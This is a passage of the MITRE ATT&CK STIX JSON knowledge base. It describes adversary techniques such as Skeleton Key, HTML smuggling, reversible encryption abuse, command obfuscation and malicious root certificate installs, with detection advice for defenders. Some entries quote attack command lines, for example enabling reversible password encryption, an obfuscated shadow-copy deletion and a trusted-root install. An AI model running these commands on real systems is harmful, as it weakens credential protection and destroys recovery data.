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            "x_mitre_detection": "Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under <code>C:\\Windows\\System32\\</code>.\n\nIn cloud environments, the occurrence of anomalous high-volume deletion events, such as the <code>DeleteDBCluster</code> and <code>DeleteGlobalCluster</code> events in AWS, or a high quantity of data deletion events, such as <code>DeleteBucket</code>, within a short period of time may indicate suspicious activity.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS",
                "Containers",
                "ESXi"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_impact_type": [
                "Availability"
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                "Snapshot: Snapshot Deletion",
                "Cloud Storage: Cloud Storage Modification",
                "Process: Process Creation",
                "File: File Deletion",
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                "Instance: Instance Deletion",
                "File: File Modification",
                "Volume: Volume Deletion",
                "Cloud Storage: Cloud Storage Deletion",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc",
            "created": "2020-03-14T23:39:50.117Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1132/002",
                    "external_id": "T1132.002"
                },
                {
                    "source_name": "Wikipedia Binary-to-text Encoding",
                    "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding"
                },
                {
                    "source_name": "Wikipedia Character Encoding",
                    "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Character_encoding"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-25T14:48:12.613Z",
            "name": "Non-Standard Encoding",
            "description": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605",
            "created": "2020-02-11T19:05:02.399Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1556/001",
                    "external_id": "T1556.001"
                },
                {
                    "source_name": "Dell Skeleton",
                    "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
                    "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
                },
                {
                    "source_name": "TechNet Audit Policy",
                    "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T22:21:45.658Z",
            "name": "Domain Controller Authentication",
            "description": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)",
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                {
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            "x_mitre_detection": "Monitor for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Process: Process Access",
                "File: File Modification",
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6",
            "created": "2019-08-30T13:03:04.038Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1537",
                    "external_id": "T1537"
                },
                {
                    "source_name": "AWS EBS Snapshot Sharing",
                    "description": "Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved March 2, 2022.",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html"
                },
                {
                    "source_name": "TLDRSec AWS Attacks",
                    "description": "Clint Gibler and Scott Piper. (2021, January 4). Lesser Known Techniques for Attacking AWS Environments. Retrieved March 4, 2024.",
                    "url": "https://tldrsec.com/p/blog-lesser-known-aws-attacks"
                },
                {
                    "source_name": "Azure Shared Access Signature",
                    "description": "Delegate access with a shared access signature. (2019, December 18). Delegate access with a shared access signature. Retrieved March 2, 2022.",
                    "url": "https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature"
                },
                {
                    "source_name": "Azure Blob Snapshots",
                    "description": "Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved March 2, 2022.",
                    "url": "https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview"
                },
                {
                    "source_name": "Microsoft Azure Storage Shared Access Signature",
                    "description": "Microsoft. (2023, June 7). Grant limited access to Azure Storage resources using shared access signatures (SAS). Retrieved March 4, 2024.",
                    "url": "https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview"
                },
                {
                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved November 17, 2024.",
                    "url": "https://cdn.cnn.com/cnn/2018/images/07/13/gru.indictment.pdf"
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            "modified": "2025-04-15T23:16:36.472Z",
            "name": "Transfer Data to Cloud Account",
            "description": "Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.(Citation: TLDRSec AWS Attacks)\n\nAdversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.(Citation: Microsoft Azure Storage Shared Access Signature)\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian",
                "Darin Smith, Cisco",
                "ExtraHop",
                "Gabriel Currie"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. \n\nIn AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a \"Get Snapshot SAS URL\" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "SaaS",
                "Office Suite"
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            "x_mitre_version": "1.5",
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                "Snapshot: Snapshot Modification",
                "Cloud Storage: Cloud Storage Metadata",
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                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content",
                "Cloud Storage: Cloud Storage Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb",
            "created": "2021-05-20T12:20:42.219Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/006",
                    "external_id": "T1027.006"
                },
                {
                    "source_name": "Outlflank HTML Smuggling 2018",
                    "description": "Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021.",
                    "url": "https://outflank.nl/blog/2018/08/14/html-smuggling-explained/"
                },
                {
                    "source_name": "MSTIC NOBELIUM May 2021",
                    "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
                },
                {
                    "source_name": "HTML Smuggling Menlo Security 2020",
                    "description": "Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.",
                    "url": "https://www.menlosecurity.com/blog/new-attack-alert-duri"
                },
                {
                    "source_name": "nccgroup Smuggling HTA 2017",
                    "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved September 12, 2024.",
                    "url": "https://www.nccgroup.com/us/research-blog/smuggling-hta-files-in-internet-exploreredge/"
                }
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            "modified": "2025-04-15T19:59:12.085Z",
            "name": "HTML Smuggling",
            "description": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)",
            "kill_chain_phases": [
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                    "phase_name": "defense-evasion"
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            ],
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            "x_mitre_detection": "Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as <code>Blob</code>, <code>msSaveOrOpenBlob</code>, and/or <code>download</code> may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\n\nConsider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                "Linux",
                "macOS"
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            "x_mitre_version": "1.2",
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48",
            "created": "2022-01-13T20:02:28.349Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1556/005",
                    "external_id": "T1556.005"
                },
                {
                    "source_name": "dump_pwd_dcsync",
                    "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.",
                    "url": "https://adsecurity.org/?p=2053"
                },
                {
                    "source_name": "store_pwd_rev_enc",
                    "description": "Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption"
                },
                {
                    "source_name": "how_pwd_rev_enc_1",
                    "description": "Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021.",
                    "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html"
                },
                {
                    "source_name": "how_pwd_rev_enc_2",
                    "description": "Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021.",
                    "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html"
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            "modified": "2025-04-15T23:00:34.242Z",
            "name": "Reversible Encryption",
            "description": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>\n2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>\n3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.",
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor property changes in Group Policy: <code>Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption</code>. By default, the property should be set to Disabled.\n\nMonitor command-line usage for <code>-AllowReversiblePasswordEncryption $true</code> or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as <code>Set-ADUser</code> and <code>Set-ADAccountControl</code>, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Object Modification",
                "Command: Command Execution",
                "User Account: User Account Metadata",
                "Script: Script Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377",
            "created": "2023-03-14T17:36:01.022Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/010",
                    "external_id": "T1027.010"
                },
                {
                    "source_name": "Twitter Richard WMIC",
                    "description": "Ackroyd, R. (2023, March 24). Twitter. Retrieved September 12, 2024.",
                    "url": "https://x.com/rfackroyd/status/1639136000755765254"
                },
                {
                    "source_name": "Invoke-Obfuscation",
                    "description": "Bohannon, D. (2016, September 24). Invoke-Obfuscation. Retrieved March 17, 2023.",
                    "url": "https://github.com/danielbohannon/Invoke-Obfuscation"
                },
                {
                    "source_name": "Invoke-DOSfuscation",
                    "description": "Bohannon, D. (2018, March 19). Invoke-DOSfuscation. Retrieved March 17, 2023.",
                    "url": "https://github.com/danielbohannon/Invoke-DOSfuscation"
                },
                {
                    "source_name": "FireEye Obfuscation June 2017",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"
                },
                {
                    "source_name": "Malware Monday VBE",
                    "description": "Bromiley, M. (2016, December 27). Malware Monday: VBScript and VBE Files. Retrieved March 17, 2023.",
                    "url": "https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16"
                },
                {
                    "source_name": "Akamai JS",
                    "description": "Katz, O. (2020, October 26). Catch Me if You Can\u2014JavaScript Obfuscation. Retrieved March 17, 2023.",
                    "url": "https://www.akamai.com/blog/security/catch-me-if-you-can-javascript-obfuscation"
                },
                {
                    "source_name": "Bashfuscator Command Obfuscators",
                    "description": "LeFevre, A. (n.d.). Bashfuscator Command Obfuscators. Retrieved March 17, 2023.",
                    "url": "https://bashfuscator.readthedocs.io/en/latest/Mutators/command_obfuscators/index.html"
                },
                {
                    "source_name": "Microsoft PowerShellB64",
                    "description": "Microsoft. (2023, February 8). about_PowerShell_exe: EncodedCommand. Retrieved March 17, 2023.",
                    "url": "https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand"
                },
                {
                    "source_name": "RC PowerShell",
                    "description": "Red Canary. (n.d.). 2022 Threat Detection Report: PowerShell. Retrieved March 17, 2023.",
                    "url": "https://redcanary.com/threat-detection-report/techniques/powershell/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:06:13.992Z",
            "name": "Command Obfuscation",
            "description": "Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\n\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\u201cWor\u201d+\u201cd.Application\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\n\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\n\nTools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "TruKno",
                "Tim Peck",
                "George Thomas"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File: File Metadata",
                "Script: Script Execution",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
            "created": "2017-05-31T21:31:42.750Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1130",
                    "external_id": "T1130"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/479.html",
                    "external_id": "CAPEC-479"
                },
                {
                    "source_name": "Wikipedia Root Certificate",
                    "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Root_certificate"
                },
                {
                    "source_name": "Operation Emmental",
                    "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.",
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf"
                },
                {
                    "source_name": "Kaspersky Superfish",
                    "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.",
                    "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/"
                },
                {
                    "source_name": "SpectorOps Code Signing Dec 2017",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
                    "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"
                },
                {
                    "source_name": "objective-see ay mami 2018",
                    "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x26.html"
                },
                {
                    "source_name": "Microsoft Sigcheck May 2017",
                    "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck"
                },
                {
                    "source_name": "Tripwire AppUNBlocker",
                    "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.",
                    "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:16:14.454Z",
            "name": "Install Root Certificate",
            "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Itzik Kotler, SafeBreach",
                "Travis Smith, Tripwire",
                "Red Canary",
                "Matt Graeber, @mattifestation, SpecterOps"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under <code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code> and <code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
            "created": "2017-05-31T21:30:30.260Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1022",
                    "external_id": "T1022"
                },
                {
                    "source_name": "Zhang 2013",
                    "description": "Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015.",
